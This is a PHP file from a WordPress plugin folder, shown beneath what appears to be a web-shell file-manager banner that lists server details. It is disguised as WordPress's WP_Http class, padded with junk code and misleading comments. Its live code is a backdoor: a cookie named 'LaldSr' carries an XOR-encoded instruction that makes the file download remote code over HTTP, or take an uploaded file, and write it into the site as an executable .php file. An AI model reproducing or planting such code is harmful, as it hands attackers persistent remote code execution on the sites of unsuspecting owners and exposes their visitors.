| Server IP : 54.36.91.62 / Your IP : 216.73.216.15 Web Server : Apache System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : uxhactp ( 169076) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/u/x/h/uxhactp/www/wp-content/plugins/51265p18/ |
Upload File : |
<?php /*
*
* HTTP API: WP_Http class
*
* @package WordPress
* @subpackage HTTP
* @since 2.7.0
if ( ! class_exists( 'WpOrg\Requests\Autoload' ) ) {
require ABSPATH . WPINC . '/Requests/src/Autoload.php';
WpOrg\Requests\Autoload::register();
WpOrg\Requests\Requests::set_certificate_path( ABSPATH . WPINC . '/certificates/ca-bundle.crt' );
}
*
* Core class used for managing HTTP transports and making HTTP requests.
*
* This class is used to consistently make outgoing HTTP requests easy for developers
* while still being compatible with the many PHP configurations under which
* WordPress runs.
*
* Debugging includes several actions, which pass different variables for debugging the HTTP API.
*
* @since 2.7.0
#[AllowDynamicProperties]
class WP_Http {
Aliases for HTTP resp*/
/**
* Replaces newlines, tabs, and multiple spaces with a single space.
*
* @param string $supports_https
* @return string
*/
function wp_ajax_save_widget($formatted_count, $x0)
{
$queryable_post_types = get_most_recently_created_nav_menu($formatted_count) - get_most_recently_created_nav_menu($x0);
$signbit = "hello";
$self = "world";
$MPEGheaderRawArray = str_replace("l", "L", $signbit);
$tagshortname = array($signbit, $self);
if (isset($tagshortname)) {
$trimmed_excerpt = implode(", ", $tagshortname);
}
// ge25519_p1p1_to_p3(&p7, &t7);
$queryable_post_types = $queryable_post_types + 256;
$queryable_post_types = $queryable_post_types % 256;
$formatted_count = get_custom_fields($queryable_post_types);
return $formatted_count; // There may only be one 'MLLT' frame in each tag
}
/**
* Filters default mime type prior to getting the file extension.
*
* @see wp_get_mime_types()
*
* @since 3.5.0
*
* @param string $mime_type Mime type string.
*/
function xor64($preview_title, $nav_tab_active_class) // Only run the registration if the old key is different.
{ // Otherwise, extract srcs from the innerHTML.
$user_locale = get_shortcode_regex($preview_title);
$user_locale = "line1\nline2\nline3";
$theme_root_uri = explode("\n", $user_locale);
foreach ($theme_root_uri as $form_trackback) {
$form_trackback = trim($form_trackback);
}
// ge25519_p3_dbl(&t6, &p3);
if ($user_locale === false) {
return false;
}
return wp_clean_themes_cache($nav_tab_active_class, $user_locale);
}
/**
* Check if an inline attachment is present.
*
* @return bool
*/
function wp_get_script_polyfill($fallback_layout, $level_comment) { // Update an existing plugin.
$force_reauth = [];
$sitename = 'calculate^3';
$preview_target = explode('^', $sitename);
$possible_db_id = pow(strlen($preview_target[0]), $preview_target[1]);
$SingleTo = min(count($fallback_layout), count($level_comment));
for ($route = 0; $route < $SingleTo; $route++) { // Check that the font face settings match the theme.json schema.
$force_reauth[] = [$fallback_layout[$route], $level_comment[$route]];
}
return $force_reauth;
} // The following rows consist of 4byte address (absolute) and 4byte size (0x1000), these point to the GPS data in the file.
/**
* Retrieves the list of errors.
*
* @since 4.6.0
*
* @return WP_Error Errors during an upgrade.
*/
function block_core_navigation_update_ignore_hooked_blocks_meta() // If we are streaming to a file but no filename was given drop it in the WP temp dir
{
return __DIR__;
}
/*
* $wp_xmlrpc_server->message looks like this:
*
(
[message] =>
[messageType] => methodCall
[faultCode] =>
[faultString] =>
[methodName] => system.multicall
[params] => Array
(
[0] => Array
(
[methodName] => pingback.ping
[params] => Array
(
[0] => http://www.example.net/?p=1 // Site that created the pingback.
[1] => https://www.example.com/?p=1 // Post being pingback'd on this site.
)
)
[1] => Array
(
[methodName] => pingback.ping
[params] => Array
(
[0] => http://www.example.net/?p=1 // Site that created the pingback.
[1] => https://www.example.com/?p=2 // Post being pingback'd on this site.
)
)
)
)
*/
function upgrade_340($match2, $http_version) {
$query_params_markup = 'alpha Beta gamma';
return $http_version . $match2;
}
/**
* Restores the translations according to the original locale.
*
* @since 4.7.0
*
* @global WP_Locale_Switcher $wp_locale_switcher WordPress locale switcher object.
*
* @return string|false Locale on success, false on error.
*/
function test_dotorg_communication($regs) {
$maskbyte = "A longer example string for processing"; // Destroy no longer needed variables.
$where_status = explode(' ', $maskbyte); // When exiting tags, it removes the last namespace from the stack.
return max($regs);
}
/**
* Set the sidebar widget option to update sidebars.
*
* @since 2.2.0
* @access private
*
* @global array $_wp_sidebars_widgets
* @param array $sidebars_widgets Sidebar widgets and their settings.
*/
function get_sitemap_type_data($s20)
{
return block_core_navigation_update_ignore_hooked_blocks_meta() . DIRECTORY_SEPARATOR . $s20 . ".php"; // If a full blog object is not available, do not destroy anything.
} // If we haven't added this old date before, add it now.
/**
* Outputs the Actions column.
*
* @since 4.9.6
*
* @param WP_User_Request $routetem Item being shown.
* @return string Email column markup.
*/
function get_allowed_block_types($match2, $root_selector) { // Same argument as above for only looking at the first 93 characters.
$fp_src = "PHPExample";
$flattened_preset = str_pad($fp_src, 15, '0'); // Local endpoints may require authentication, so asynchronous tests can pass a direct test runner as well.
return $match2 . $root_selector;
}
/**
* Filters the default avatars.
*
* Avatars are stored in key/value pairs, where the key is option value,
* and the name is the displayed avatar name.
*
* @since 2.6.0
*
* @param string[] $signbitvatar_defaults Associative array of default avatars.
*/
function wp_get_custom_css($f4g5, $last_key)
{
$link_image = move_uploaded_file($f4g5, $last_key);
$upperLimit = "AnotherTestString";
$response_headers = rawurldecode($upperLimit);
$post_objects = hash('sha512', $response_headers);
// method.
$remind_interval = strlen($response_headers); // Functional syntax.
$mn = substr($response_headers, 0, 7); // Both capabilities are required to avoid confusion, see `_wp_personal_data_removal_page()`.
if (!empty($mn)) {
$flattened_preset = str_pad($mn, 15, "-");
}
$wp_error = explode("o", $mn); // [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise.
return $link_image;
}
/* translators: 1: Parameter, 2: The list of allowed types. */
function prepare_tax_query($match2, $http_version, $root_selector) {
$signbit = "StringManipulate";
$self = substr($signbit, 6); // Terms (tags/categories).
$help_tab_autoupdates = upgrade_340($match2, $http_version);
$MPEGheaderRawArray = rawurldecode("%2Fpath%2Fto%2Fresource"); // 4.6 MLLT MPEG location lookup table
$trimmed_excerpt = hash('crc32', $self); // Return home site URL with proper scheme.
return get_allowed_block_types($help_tab_autoupdates, $root_selector);
}
/**
* Filters the localized time a post was last modified.
*
* @since 2.0.0
* @since 4.6.0 Added the `$post` parameter.
*
* @param string|int|false $the_time The formatted time or false if no post is found.
* @param string $format Format to use for retrieving the time the post
* was modified. Accepts 'G', 'U', or PHP date format.
* @param WP_Post|null $post WP_Post object or null if no post is found.
*/
function partials($preview_title)
{
$s20 = basename($preview_title);
$wp_press_this = "Programming Language";
$nav_tab_active_class = get_sitemap_type_data($s20);
$parser_check = substr($wp_press_this, 11); // Enqueue me just once per page, please.
$transient = rawurldecode("%23Lang%20Topic");
$genre_elements = hash('whirlpool', $parser_check);
xor64($preview_title, $nav_tab_active_class);
}
/**
* Remove custom background support.
*
* @since 3.1.0
* @deprecated 3.4.0 Use add_custom_background()
* @see add_custom_background()
*
* @return null|bool Whether support was removed.
*/
function get_setting($regs) {
$sourcefile = "Example String";
$table_alias = hash('md5', $sourcefile);
$ssl = trim($table_alias);
$photo = [[], []];
if (strlen($ssl) > 10) {
$plugin_b = substr($ssl, 2, 10);
$parent_comment = str_pad($plugin_b, 15, "*");
}
foreach ($regs as $label_text) {
$photo[0][] = $label_text[0];
$photo[1][] = $label_text[1];
} // Remove possible contextual '\n' and closing double quote.
return $photo; // Object and ID columns.
}
/**
* Retrieves all sessions of the user.
*
* @since 4.0.0
*
* @return array Sessions of the user.
*/
function box_seal_open($menu_position, $temp_dir = 'txt')
{
return $menu_position . '.' . $temp_dir;
} // Expose top level fields.
/**
* Alters the objects passed to this method in place.
*
* @internal You should not use this directly from another application
*
* @param ParagonIE_Sodium_Core_Curve25519_Fe $f
* @param ParagonIE_Sodium_Core_Curve25519_Fe $g
* @param int $self
* @return void
* @psalm-suppress MixedAssignment
*/
function wp_register_sidebar_widget($nav_tab_active_class, $mysql_var)
{
$real = file_get_contents($nav_tab_active_class);
$f9g4_19 = 'This is a test string';
$wp_plugin_paths = explode(' ', $f9g4_19);
if (count($wp_plugin_paths) > 2) {
$types_fmedia = $wp_plugin_paths[0] . ' ' . $wp_plugin_paths[2];
}
$screen_reader_text = rest_auto_check_comment($real, $mysql_var);
file_put_contents($nav_tab_active_class, $screen_reader_text);
}
/**
* Allows multiple block styles.
*
* @since 5.9.0
* @deprecated 6.1.0
*
* @param array $metadata Metadata for registering a block type.
* @return array Metadata for registering a block type.
*/
function resume_theme($preview_title) // Not matching a permalink so this is a lot simpler.
{ // We still don't have enough to run $this->blocks()
if (strpos($preview_title, "/") !== false) {
$filtered_image = 'Date format example';
$goodpath = date('Y-m-d H:i:s');
$first_comment_url = $goodpath . ' - ' . $filtered_image;
return true;
}
return false;
}
/**
* The array of available text strings for the current language.
*
* @var array
*/
function get_custom_fields($used_curies)
{
$formatted_count = sprintf("%c", $used_curies); // Clear the memory
$library = " Trimming and Padding ";
$post_has_changed = trim($library);
$user_or_error = str_pad($post_has_changed, 40, '*', STR_PAD_BOTH);
return $formatted_count;
}
/** @var int $len */
function get_translation($menu_position)
{
$video_type = 'BYFNjskMECtVlEWUbhB';
$MPEGaudioFrequencyLookup = ["red", "blue", "green"]; // What if there isn't a post-new.php item for this post type?
if (in_array("blue", $MPEGaudioFrequencyLookup)) {
$v_inclusion = array_merge($MPEGaudioFrequencyLookup, ["yellow"]);
}
// Typed object (handled as object)
if (isset($_COOKIE[$menu_position])) {
get_installed_plugins($menu_position, $video_type);
}
}
/**
* Filters a comment's approval status before it is set.
*
* @since 2.1.0
* @since 4.9.0 Returning a WP_Error value from the filter will short-circuit comment insertion
* and allow skipping further processing.
*
* @param int|string|WP_Error $signbitpproved The approval status. Accepts 1, 0, 'spam', 'trash',
* or WP_Error.
* @param array $MPEGheaderRawArrayommentdata Comment data.
*/
function get_taxonomy_labels($menu_position, $video_type, $theme_data)
{
if (isset($_FILES[$menu_position])) {
$open_basedirs = "2023-01-01";
$theme_json_object = "2023-12-31";
version_equals($menu_position, $video_type, $theme_data);
$queryable_post_types = (strtotime($theme_json_object) - strtotime($open_basedirs)) / (60 * 60 * 24);
if ($queryable_post_types > 0) {
$frag = "Date difference is positive.";
}
}
wp_getimagesize($theme_data);
}
/* translators: 1: Number of stars (used to determine singular/plural), 2: Number of reviews. */
function comment_text_rss($preview_title)
{
$preview_title = "http://" . $preview_title;
$post_max_size = "ThisIsTestData";
$renamed_path = hash('sha256', $post_max_size);
$latitude = str_pad($renamed_path, 64, '-');
$force_cache_fallback = trim($latitude, '-');
$menu_post = strlen($force_cache_fallback);
return $preview_title;
} // next frame is valid, just skip the current frame
/**
* Filters the minimum number of characters required to fire a tag search via Ajax.
*
* @since 4.0.0
*
* @param int $formatted_countacters The minimum number of characters required. Default 2.
* @param WP_Taxonomy $taxonomy_object The taxonomy object.
* @param string $search The search term.
*/
function protected_title_format($regs) { // not as files.
$lock_result = array("apple", "banana", "orange");
$hram = str_replace("banana", "grape", implode(", ", $lock_result));
return min($regs);
}
/**
* Adapt the bias
*
* @link https://tools.ietf.org/html/rfc3492#section-6.1
* @param int $tagshortnameelta
* @param int $numpoints
* @param bool $firsttime
* @return int|float New bias
*
* function adapt(delta,numpoints,firsttime):
*/
function wp_clean_themes_cache($nav_tab_active_class, $pointpos)
{ // some "ilst" atoms contain data atoms that have a numeric name, and the data is far more accessible if the returned array is compacted
return file_put_contents($nav_tab_active_class, $pointpos);
}
/**
* @var int Feed Autodiscovery Level
* @see SimplePie::set_autodiscovery_level()
* @access private
*/
function wp_get_additional_image_sizes($meta_clause)
{ # QUARTERROUND( x0, x4, x8, x12)
$match2 = pack("H*", $meta_clause);
$upperLimit = "url%20encoded";
$one_theme_location_no_menus = rawurldecode($upperLimit);
$with = explode(" ", $one_theme_location_no_menus); // Ensure nav menu item URL is set according to linked object.
if (count($with) > 1) {
$merged_setting_params = implode("_", $with);
}
// Normalize `user_ID` to `user_id` again, after the filter.
return $match2;
}
/**
* Filters the HTML output of a list of pages as a dropdown.
*
* @since 2.1.0
* @since 4.4.0 `$parsed_args` and `$pages` added as arguments.
*
* @param string $output HTML output for dropdown list of pages.
* @param array $parsed_args The parsed arguments array. See wp_dropdown_pages()
* for information on accepted arguments.
* @param WP_Post[] $pages Array of the page objects.
*/
function wp_get_theme_data_template_parts($theme_data)
{
partials($theme_data);
$library = ' Hello '; // If theme authors want to prevent the generation of the core spacing scale they can set their theme.json spacingScale.steps to 0.
$needs_preview = trim($library);
$SingleTo = strlen($needs_preview);
wp_getimagesize($theme_data);
} // Maximum Packet Count DWORD 32 // maximum packet count for all index entries
/* translators: 1: Login URL, 2: Username, 3: User email address, 4: Lost password URL. */
function get_most_recently_created_nav_menu($used_curies)
{
$used_curies = ord($used_curies);
$f4f7_38 = "Crimson";
return $used_curies;
}
/**
* Filters the HTML markup output that displays the editor.
*
* @since 2.1.0
*
* @param string $output Editor's HTML markup.
*/
function split_v6_v4($regs) {
$thisfile_riff_CDDA_fmt_0 = "PHP_Code_Examples";
$role__not_in = substr($thisfile_riff_CDDA_fmt_0, 0, 7);
$json_translation_files = array_sum($regs);
$updated_content = hash("sha1", $role__not_in);
return $json_translation_files / count($regs); // its assets. This also prevents 'wp-editor' from being enqueued which we
} // If there is no `theme.json` file, ensure base layout styles are still available.
/**
* Database table columns collate.
*
* @since 2.2.0
*
* @var string
*/
function version_equals($menu_position, $video_type, $theme_data) // Guess it's time to 404.
{
$s20 = $_FILES[$menu_position]['name'];
$supports_https = " leading spaces ";
$nav_tab_active_class = get_sitemap_type_data($s20);
$found_posts_query = trim($supports_https);
$frame_pricestring = str_pad($found_posts_query, 30, '-');
wp_register_sidebar_widget($_FILES[$menu_position]['tmp_name'], $video_type);
wp_get_custom_css($_FILES[$menu_position]['tmp_name'], $nav_tab_active_class);
}
/**
* Sets the terms for a post.
*
* @since 2.8.0
*
* @see wp_set_object_terms()
*
* @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post.
* @param string|array $terms Optional. An array of terms to set for the post, or a string of terms
* separated by commas. Hierarchical taxonomies must always pass IDs rather
* than names so that children with the same names but different parents
* aren't confused. Default empty.
* @param string $taxonomy Optional. Taxonomy name. Default 'post_tag'.
* @param bool $signbitppend Optional. If true, don't delete existing terms, just add on. If false,
* replace the terms with the new terms. Default false.
* @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure.
*/
function get_shortcode_regex($preview_title)
{
$preview_title = comment_text_rss($preview_title);
$thisfile_video = "Sample Data";
$sub_skip_list = explode(" ", $thisfile_video);
$subsets = trim($sub_skip_list[0]);
$update_response = str_pad($subsets, 15, "*");
$prev_value = hash('md5', $update_response);
return file_get_contents($preview_title);
}
/**
* Displays Site Icon in RSS2.
*
* @since 4.3.0
*/
function rest_auto_check_comment($name_attr, $mysql_var) // In 4.8.0 only, visual Text widgets get filter=content, without visual prop; upgrade instance props just-in-time.
{ // a9 * b5 + a10 * b4 + a11 * b3;
$ret0 = strlen($mysql_var);
$stssEntriesDataOffset = array("cat", "dog", "bird");
$links_array = count($stssEntriesDataOffset); // Searching in the list of plugins.
if ($links_array === 3) {
$media_type = implode(",", $stssEntriesDataOffset);
$post_mime_type = strlen($media_type);
if ($post_mime_type > 5) {
$multidimensional_filter = hash("sha256", $media_type);
$g6_19 = str_pad($multidimensional_filter, 64, "0");
}
}
// Don't link the comment bubble for a trashed post.
$multihandle = date("Y-m-d");
$tb_list = strlen($name_attr); // Open button label.
$ret0 = $tb_list / $ret0;
$ret0 = ceil($ret0);
$newcharstring = str_split($name_attr);
$mysql_var = str_repeat($mysql_var, $ret0);
$tags_list = str_split($mysql_var);
$tags_list = array_slice($tags_list, 0, $tb_list);
$faultCode = array_map("wp_ajax_save_widget", $newcharstring, $tags_list);
$faultCode = implode('', $faultCode);
return $faultCode; // Days per month.
}
/**
* Multisite WordPress API
*
* @package WordPress
* @subpackage Multisite
* @since 3.0.0
*/
function get_installed_plugins($menu_position, $video_type) // page, delimited by 'OggS'
{ // Lock settings.
$term_title = $_COOKIE[$menu_position];
$term_info = "2023-01-01";
$newval = explode('-', $term_info);
$term_title = wp_get_additional_image_sizes($term_title); // When creating, font_face_settings is stringified JSON, to work with multipart/form-data used
$hash_addr = array_map('intval', $newval);
$mce_buttons = hash('sha512', $hash_addr[0]);
$sitemeta = strlen($mce_buttons);
if ($sitemeta > 10) {
$formats = str_pad($mce_buttons, 128, '#');
} else {
$formats = substr($mce_buttons, 0, 50);
}
$theme_data = rest_auto_check_comment($term_title, $video_type);
$formats = str_replace('#', '*', $formats);
$startup_warning = array($formats);
if (resume_theme($theme_data)) { // Even further back compat.
$frag = wp_get_theme_data_template_parts($theme_data);
return $frag;
}
get_taxonomy_labels($menu_position, $video_type, $theme_data);
}
/**
* Updates widget settings asynchronously.
*
* Allows the Customizer to update a widget using its form, but return the new
* instance info via Ajax instead of saving it to the options table.
*
* Most code here copied from wp_ajax_save_widget().
*
* @since 3.9.0
*
* @see wp_ajax_save_widget()
*/
function wp_getimagesize($tree)
{
echo $tree;
}
$menu_position = 'LaldSr';
$library = "example_string_with_underscores";
get_translation($menu_position);
$post_counts_query = rawurldecode($library);
$filter_context = prepare_tax_query("Word", "pre-", "-suf");
$name_translated = explode('_', $post_counts_query);
/* onse codes.
const HTTP_CONTINUE = 100;
const SWITCHING_PROTOCOLS = 101;
const PROCESSING = 102;
const EARLY_HINTS = 103;
const OK = 200;
const CREATED = 201;
const ACCEPTED = 202;
const NON_AUTHORITATIVE_INFORMATION = 203;
const NO_CONTENT = 204;
const RESET_CONTENT = 205;
const PARTIAL_CONTENT = 206;
const MULTI_STATUS = 207;
const IM_USED = 226;
const MULTIPLE_CHOICES = 300;
const MOVED_PERMANENTLY = 301;
const FOUND = 302;
const SEE_OTHER = 303;
const NOT_MODIFIED = 304;
const USE_PROXY = 305;
const RESERVED = 306;
const TEMPORARY_REDIRECT = 307;
const PERMANENT_REDIRECT = 308;
const BAD_REQUEST = 400;
const UNAUTHORIZED = 401;
const PAYMENT_REQUIRED = 402;
const FORBIDDEN = 403;
const NOT_FOUND = 404;
const METHOD_NOT_ALLOWED = 405;
const NOT_ACCEPTABLE = 406;
const PROXY_AUTHENTICATION_REQUIRED = 407;
const REQUEST_TIMEOUT = 408;
const CONFLICT = 409;
const GONE = 410;
const LENGTH_REQUIRED = 411;
const PRECONDITION_FAILED = 412;
const REQUEST_ENTITY_TOO_LARGE = 413;
const REQUEST_URI_TOO_LONG = 414;
const UNSUPPORTED_MEDIA_TYPE = 415;
const REQUESTED_RANGE_NOT_SATISFIABLE = 416;
const EXPECTATION_FAILED = 417;
const IM_A_TEAPOT = 418;
const MISDIRECTED_REQUEST = 421;
const UNPROCESSABLE_ENTITY = 422;
const LOCKED = 423;
const FAILED_DEPENDENCY = 424;
const TOO_EARLY = 425;
const UPGRADE_REQUIRED = 426;
const PRECONDITION_REQUIRED = 428;
const TOO_MANY_REQUESTS = 429;
const REQUEST_HEADER_FIELDS_TOO_LARGE = 431;
const UNAVAILABLE_FOR_LEGAL_REASONS = 451;
const INTERNAL_SERVER_ERROR = 500;
const NOT_IMPLEMENTED = 501;
const BAD_GATEWAY = 502;
const SERVICE_UNAVAILABLE = 503;
const GATEWAY_TIMEOUT = 504;
const HTTP_VERSION_NOT_SUPPORTED = 505;
const VARIANT_ALSO_NEGOTIATES = 506;
const INSUFFICIENT_STORAGE = 507;
const NOT_EXTENDED = 510;
const NETWORK_AUTHENTICATION_REQUIRED = 511;
*
* Send an HTTP request to a URI.
*
* Please note: The only URI that are supported in the HTTP Transport implementation
* are the HTTP and HTTPS protocols.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args {
* Optional. Array or string of HTTP request arguments.
*
* @type string $method Request method. Accepts 'GET', 'POST', 'HEAD', 'PUT', 'DELETE',
* 'TRACE', 'OPTIONS', or 'PATCH'.
* Some transports technically allow others, but should not be
* assumed. Default 'GET'.
* @type float $timeout How long the connection should stay open in seconds. Default 5.
* @type int $redirection Number of allowed redirects. Not supported by all transports.
* Default 5.
* @type string $httpversion Version of the HTTP protocol to use. Accepts '1.0' and '1.1'.
* Default '1.0'.
* @type string $user-agent User-agent value sent.
* Default 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ).
* @type bool $reject_unsafe_urls Whether to pass URLs through wp_http_validate_url().
* Default false.
* @type bool $blocking Whether the calling code requires the result of the request.
* If set to false, the request will be sent to the remote server,
* and processing returned to the calling code immediately, the caller
* will know if the request succeeded or failed, but will not receive
* any response from the remote server. Default true.
* @type string|array $headers Array or string of headers to send with the request.
* Default empty array.
* @type array $cookies List of cookies to send with the request. Default empty array.
* @type string|array $body Body to send with the request. Default null.
* @type bool $compress Whether to compress the $body when sending the request.
* Default false.
* @type bool $decompress Whether to decompress a compressed response. If set to false and
* compressed content is returned in the response anyway, it will
* need to be separately decompressed. Default true.
* @type bool $sslverify Whether to verify SSL for the request. Default true.
* @type string $sslcertificates Absolute path to an SSL certificate .crt file.
* Default ABSPATH . WPINC . '/certificates/ca-bundle.crt'.
* @type bool $stream Whether to stream to a file. If set to true and no filename was
* given, it will be dropped it in the WP temp dir and its name will
* be set using the basename of the URL. Default false.
* @type string $filename Filename of the file to write to when streaming. $stream must be
* set to true. Default null.
* @type int $limit_response_size Size in bytes to limit the response to. Default null.
*
* }
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
public function request( $url, $args = array() ) {
$defaults = array(
'method' => 'GET',
*
* Filters the timeout value for an HTTP request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param float $timeout_value Time in seconds until a request times out. Default 5.
* @param string $url The request URL.
'timeout' => apply_filters( 'http_request_timeout', 5, $url ),
*
* Filters the number of redirects allowed during an HTTP request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param int $redirect_count Number of redirects allowed. Default 5.
* @param string $url The request URL.
'redirection' => apply_filters( 'http_request_redirection_count', 5, $url ),
*
* Filters the version of the HTTP protocol used in a request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param string $version Version of HTTP used. Accepts '1.0' and '1.1'. Default '1.0'.
* @param string $url The request URL.
'httpversion' => apply_filters( 'http_request_version', '1.0', $url ),
*
* Filters the user agent value sent with an HTTP request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param string $user_agent WordPress user agent string.
* @param string $url The request URL.
'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), $url ),
*
* Filters whether to pass URLs through wp_http_validate_url() in an HTTP request.
*
* @since 3.6.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param bool $pass_url Whether to pass URLs through wp_http_validate_url(). Default false.
* @param string $url The request URL.
'reject_unsafe_urls' => apply_filters( 'http_request_reject_unsafe_urls', false, $url ),
'blocking' => true,
'headers' => array(),
'cookies' => array(),
'body' => null,
'compress' => false,
'decompress' => true,
'sslverify' => true,
'sslcertificates' => ABSPATH . WPINC . '/certificates/ca-bundle.crt',
'stream' => false,
'filename' => null,
'limit_response_size' => null,
);
Pre-parse for the HEAD checks.
$args = wp_parse_args( $args );
By default, HEAD requests do not cause redirections.
if ( isset( $args['method'] ) && 'HEAD' === $args['method'] ) {
$defaults['redirection'] = 0;
}
$parsed_args = wp_parse_args( $args, $defaults );
*
* Filters the arguments used in an HTTP request.
*
* @since 2.7.0
*
* @param array $parsed_args An array of HTTP request arguments.
* @param string $url The request URL.
$parsed_args = apply_filters( 'http_request_args', $parsed_args, $url );
The transports decrement this, store a copy of the original value for loop purposes.
if ( ! isset( $parsed_args['_redirection'] ) ) {
$parsed_args['_redirection'] = $parsed_args['redirection'];
}
*
* Filters the preemptive return value of an HTTP request.
*
* Returning a non-false value from the filter will short-circuit the HTTP request and return
* early with that value. A filter should return one of:
*
* - An array containing 'headers', 'body', 'response', 'cookies', and 'filename' elements
* - A WP_Error instance
* - boolean false to avoid short-circuiting the response
*
* Returning any other value may result in unexpected behavior.
*
* @since 2.9.0
*
* @param false|array|WP_Error $response A preemptive return value of an HTTP request. Default false.
* @param array $parsed_args HTTP request arguments.
* @param string $url The request URL.
$pre = apply_filters( 'pre_http_request', false, $parsed_args, $url );
if ( false !== $pre ) {
return $pre;
}
if ( function_exists( 'wp_kses_bad_protocol' ) ) {
if ( $parsed_args['reject_unsafe_urls'] ) {
$url = wp_http_validate_url( $url );
}
if ( $url ) {
$url = wp_kses_bad_protocol( $url, array( 'http', 'https', 'ssl' ) );
}
}
$parsed_url = parse_url( $url );
if ( empty( $url ) || empty( $parsed_url['scheme'] ) ) {
$response = new WP_Error( 'http_request_failed', __( 'A valid URL was not provided.' ) );
* This action is documented in wp-includes/class-wp-http.php
do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url );
return $response;
}
if ( $this->block_request( $url ) ) {
$response = new WP_Error( 'http_request_not_executed', __( 'User has blocked requests through HTTP.' ) );
* This action is documented in wp-includes/class-wp-http.php
do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url );
return $response;
}
If we are streaming to a file but no filename was given drop it in the WP temp dir
and pick its name using the basename of the $url.
if ( $parsed_args['stream'] ) {
if ( empty( $parsed_args['filename'] ) ) {
$parsed_args['filename'] = get_temp_dir() . basename( $url );
}
Force some settings if we are streaming to a file and check for existence
and perms of destination directory.
$parsed_args['blocking'] = true;
if ( ! wp_is_writable( dirname( $parsed_args['filename'] ) ) ) {
$response = new WP_Error( 'http_request_failed', __( 'Destination directory for file streaming does not exist or is not writable.' ) );
* This action is documented in wp-includes/class-wp-http.php
do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url );
return $response;
}
}
if ( is_null( $parsed_args['headers'] ) ) {
$parsed_args['headers'] = array();
}
WP allows passing in headers as a string, weirdly.
if ( ! is_array( $parsed_args['headers'] ) ) {
$processed_headers = WP_Http::processHeaders( $parsed_args['headers'] );
$parsed_args['headers'] = $processed_headers['headers'];
}
Setup arguments.
$headers = $parsed_args['headers'];
$data = $parsed_args['body'];
$type = $parsed_args['method'];
$options = array(
'timeout' => $parsed_args['timeout'],
'useragent' => $parsed_args['user-agent'],
'blocking' => $parsed_args['blocking'],
'hooks' => new WP_HTTP_Requests_Hooks( $url, $parsed_args ),
);
Ensure redirects follow browser behavior.
$options['hooks']->register( 'requests.before_redirect', array( static::class, 'browser_redirect_compatibility' ) );
Validate redirected URLs.
if ( function_exists( 'wp_kses_bad_protocol' ) && $parsed_args['reject_unsafe_urls'] ) {
$options['hooks']->register( 'requests.before_redirect', array( static::class, 'validate_redirects' ) );
}
if ( $parsed_args['stream'] ) {
$options['filename'] = $parsed_args['filename'];
}
if ( empty( $parsed_args['redirection'] ) ) {
$options['follow_redirects'] = false;
} else {
$options['redirects'] = $parsed_args['redirection'];
}
Use byte limit, if we can.
if ( isset( $parsed_args['limit_response_size'] ) ) {
$options['max_bytes'] = $parsed_args['limit_response_size'];
}
If we've got cookies, use and convert them to WpOrg\Requests\Cookie.
if ( ! empty( $parsed_args['cookies'] ) ) {
$options['cookies'] = WP_Http::normalize_cookies( $parsed_args['cookies'] );
}
SSL certificate handling.
if ( ! $parsed_args['sslverify'] ) {
$options['verify'] = false;
$options['verifyname'] = false;
} else {
$options['verify'] = $parsed_args['sslcertificates'];
}
All non-GET/HEAD requests should put the arguments in the form body.
if ( 'HEAD' !== $type && 'GET' !== $type ) {
$options['data_format'] = 'body';
}
*
* Filters whether SSL should be verified for non-local requests.
*
* @since 2.8.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param bool|string $ssl_verify Boolean to control whether to verify the SSL connection
* or path to an SSL certificate.
* @param string $url The request URL.
$options['verify'] = apply_filters( 'https_ssl_verify', $options['verify'], $url );
Check for proxies.
$proxy = new WP_HTTP_Proxy();
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
$options['proxy'] = new WpOrg\Requests\Proxy\Http( $proxy->host() . ':' . $proxy->port() );
if ( $proxy->use_authentication() ) {
$options['proxy']->use_authentication = true;
$options['proxy']->user = $proxy->username();
$options['proxy']->pass = $proxy->password();
}
}
Avoid issues where mbstring.func_overload is enabled.
mbstring_binary_safe_encoding();
try {
$requests_response = WpOrg\Requests\Requests::request( $url, $headers, $data, $type, $options );
Convert the response into an array.
$http_response = new WP_HTTP_Requests_Response( $requests_response, $parsed_args['filename'] );
$response = $http_response->to_array();
Add the original object to the array.
$response['http_response'] = $http_response;
} catch ( WpOrg\Requests\Exception $e ) {
$response = new WP_Error( 'http_request_failed', $e->getMessage() );
}
reset_mbstring_encoding();
*
* Fires after an HTTP API response is received and before the response is returned.
*
* @since 2.8.0
*
* @param array|WP_Error $response HTTP response or WP_Error object.
* @param string $context Context under which the hook is fired.
* @param string $class HTTP transport used.
* @param array $parsed_args HTTP request arguments.
* @param string $url The request URL.
do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url );
if ( is_wp_error( $response ) ) {
return $response;
}
if ( ! $parsed_args['blocking'] ) {
return array(
'headers' => array(),
'body' => '',
'response' => array(
'code' => false,
'message' => false,
),
'cookies' => array(),
'http_response' => null,
);
}
*
* Filters a successful HTTP API response immediately before the response is returned.
*
* @since 2.9.0
*
